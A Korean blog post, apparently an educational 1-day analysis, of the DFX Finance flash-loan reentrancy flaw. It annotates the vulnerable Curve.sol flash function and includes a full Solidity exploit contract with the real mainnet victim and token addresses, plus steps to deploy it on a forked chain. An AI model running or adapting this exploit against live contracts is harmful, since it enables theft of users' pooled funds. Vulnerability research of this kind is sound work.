Tyojong
DFX finance Reentrancy 1-day 본문
코드 분석
src/Curve.sol
Revert "Audit/combined (#70)" (#72) · dfx-finance/protocol-v2@46fa13b
This reverts commit 33a77747542e69f87862893ba460bd03384ecf56.
github.com
curve.sol파일은 DFX finance에서 실시간 환율을 반영하여 법정화폐 스테이블코인으로 효율적으로 교환할 수 있도록 도와주는 코드이다. 그 중 플래시 론(Flash Loan) 기능을 구현한 함수에서 취약점이 발생한다.
function flash(
        address recipient, //토큰을 받을 주소
        uint256 amount0, //빌릴 첫 번째 토큰의 양
        uint256 amount1, //빌릴 두 번째 토큰의 양
        bytes calldata data //콜백에 전달할 추가 데이터
    ) external transactable noDelegateCall { //외부에서 호출 가능하며, delegatecall은 금지된다.
        uint256 fee = curve.epsilon.mulu(1e18);
	//curve의 epsilon값으로 수수료율을 계산한다. (epsilon은 수수료 비율)
        
        require(IERC20(derivatives[0]).balanceOf(address(this)) > 0, 'Curve/token0-zero-liquidity-depth');
        require(IERC20(derivatives[1]).balanceOf(address(this)) > 0, 'Curve/token1-zero-liquidity-depth');
	//두 토큰 모두 풀에 잔액이 있는지 확인한다.
        
        uint256 fee0 = FullMath.mulDivRoundingUp(amount0, fee, 1e18);
        uint256 fee1 = FullMath.mulDivRoundingUp(amount1, fee, 1e18);
        //각 토큰에 대해 빌린 양의 비례하는 수수료를 계산한다. (올림 처리)
        
        uint256 balance0Before = IERC20(derivatives[0]).balanceOf(address(this));
        uint256 balance1Before = IERC20(derivatives[1]).balanceOf(address(this));
	//플래시 론 실행 전 풀의 각 토큰 잔액을 저장한다.
        if (amount0 > 0) IERC20(derivatives[0]).safeTransfer(recipient, amount0);
        if (amount1 > 0) IERC20(derivatives[1]).safeTransfer(recipient, amount1);
	//요청한 양의 토큰을 recipient에게 전송한다.
        IFlashCallback(msg.sender).flashCallback(fee0, fee1, data);
	//호출자의 flashCallback 함수를 실행한다. 이 시점에서 차용자는 받은 토큰으로 원하는 작업을 수행한다.
        uint256 balance0After = IERC20(derivatives[0]).balanceOf(address(this));
        uint256 balance1After = IERC20(derivatives[1]).balanceOf(address(this));
	//콜백 실행 후 풀의 현재 잔액을 확인한다.
        require(balance0Before.add(fee0) <= balance0After, 'Curve/insufficient-token0-returned');
        require(balance1Before.add(fee1) <= balance1After, 'Curve/insufficient-token1-returned');
	//원금+수수료 이상이 반환되었는지 확인한다. 실패하면 전체 트랜잭션이 revert된다.
        // sub is safe because we know balanceAfter is gt balanceBefore by at least fee
        uint256 paid0 = balance0After - balance0Before;
        uint256 paid1 = balance1After - balance1Before;
 	//차용자가 실제로 지불한 수수료를 계산한다.
 
        IERC20(derivatives[0]).safeTransfer(owner, paid0);        
        IERC20(derivatives[1]).safeTransfer(owner, paid1);        
	//수수료를 풀의 소유자(owner)에게 전송한다.
    
        emit Flash(msg.sender, recipient, amount0, amount1, paid0, paid1);
        //플래시 론의 실행 정보를 블록체인에 기록한다.
    }해당 코드에서 Reentrancy 방지 장치가 존재하지 않고 flashCallback 전후 잔고의 변화만 확인하고 대출 상환 여부를 판단하기 때문에 Reentrancy 취약점이 발생한다.
공격 시나리오
전체 시나리오를 살펴보면
공격자가 플래시 론을 통해 토큰을 빌린다.
이후 flashCallback을 통해 reentrancy취약점을 이용해 deposit함수를 실행시킨다.
공격자는 빌린 토큰을 이용해 그대로 deposit함수로 컨트랙트에 예치시키면 폴의 자산이 증가하기 때문에 반환되었는지 확인하는 코드에서 빌린 토큰을 갚았다고 판단하게 된다.
하지만 공격자는 갚은 것이 아닌 예치를 하였기 때문에 예치시 발행하는 LP토큰은 그대로 공격자에게 지급된다.
공격자는 이 LP토큰을 이후 withdraw를 통해 자금을 인출해 이익을 취하게 된다.
익스플로잇
https://github.com/dfx-finance/protocol-v2/tree/46fa13bc20931f5a1219f869bb917d23e4b3bfba
GitHub - dfx-finance/protocol-v2: A decentralized foreign exchange protocol optimized for stablecoins.
A decentralized foreign exchange protocol optimized for stablecoins. - dfx-finance/protocol-v2
github.com
플래시 론으로 대출받기 위해 DFX finance에서 사용하는 XIDR과 토큰의 주소를 확인해보자


XIDR : 0xebF2096E01455108bAdCbAF86cE30b6e5A72aa52
USDC : 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48
공격할 컨트랙트의 주소도 확인해보자

target contract : 0x46161158b1947D9149E066d6d31AF1283b2d377C

타겟 컨트랙트 주소와 토큰 컨트랙트 주소를 환경변수에 저장해놓는다.

메인넷을 포크해 anvil환경에서 테스트한다.
src/POC.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "./node_modules/@openzeppelin/contracts/token/ERC20/IERC20.sol";
 //Curve.sol 인터페이스 정의
interface ICurve {
    function viewDeposit(uint256 _deposit) external view returns (uint256 curvesToMint, uint256[] memory depositsToMake);
    function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
    function withdraw(uint256 _curvesToBurn, uint256 _deadline) external returns (uint256[] memory withdrawals);
    function deposit(uint256 _deposit, uint256 _deadline) external returns (uint256 curvesMinted, uint256[] memory deposits);
}
contract EXP {
    uint256 amount; // LP 토큰 양을 저장할 전역 변수
    address victimAddress = 0x46161158b1947D9149E066d6d31AF1283b2d377C; // 타겟 컨트랙트 주소
    ICurve curve = ICurve(victimAddress); // ICurve 인터페이스 선언
    
    function approveToken(address tokenAddress, address spender, uint256 amount) external {
        IERC20(tokenAddress).approve(spender, amount);
    }
    // 컨트랙트가 보유하고 있는 토큰을 다른 주소가 사용할 수 있도록 허가해준다.
    // Curve가 토큰을 가져갈 수 있도록하기 때문에 deposit 전에 반드시 필요하다.
    
    function testExploit() public{
      uint[] memory XIDR_USDC = new uint[](2);
      XIDR_USDC[0] = 0; // XIDR 예치량
      XIDR_USDC[1] = 0; // USDC 예치량
      ( , XIDR_USDC) = curve.viewDeposit(200_000 * 1e18);
      // curve의 viewDeposit함수를 통해 200,000 토큰 예치시 필요한 토큰양을 자동 계산되도록한다.
      
      curve.flash(address(this), XIDR_USDC[0] * 995 / 1000, XIDR_USDC[1] * 995 / 1000, new bytes(1));
      // flash함수를 실행해 각 토큰을 수수료 0.5%를 제외한 99.5%만 빌린다.
      
      curve.withdraw(amount, block.timestamp + 60);
      // withdraw함수를 통해 LP토큰을 출금시킨다.
  }
    function flashCallback(uint256, uint256 , bytes calldata ) external{
      (amount, ) = curve.deposit(200_000 * 1e18, block.timestamp + 60);
  }
  // Curve.sol에서 flashCallback 호출 시 호출되어 deposit함수가 실행되도록 만든다. (Reentrancy)
}

forge create를 이용해 poc코드(공격 컨트랙트)를 배포한다.

현재 컨트랙트에는 토큰이 존재하지 않는다.
공격 전 공격 컨트랙트에 초기 자본이 있어야 한다.


토큰을 가지고 있는 계정(내가 토큰을 구매해 직접 사용, 버그바운티라면 mock토큰 이용)에서 일부 토큰을 공격 컨트랙트로 옮긴다.
(1-day 이므로 실제로는 다른 계정에서 가져옴)


cast send 명령어로 approveToken함수를 실행시켜 deposit함수가 토큰을 공격컨트랙트의 토큰을 사용할 수 있도록 만들어준다.

공격 코드 실행 전 컨트랙트의 토큰을 확인하고

공격 코드 실행 성공 후

컨트랙트의 토큰을 확인해보면 증가한 것을 알 수 있다.
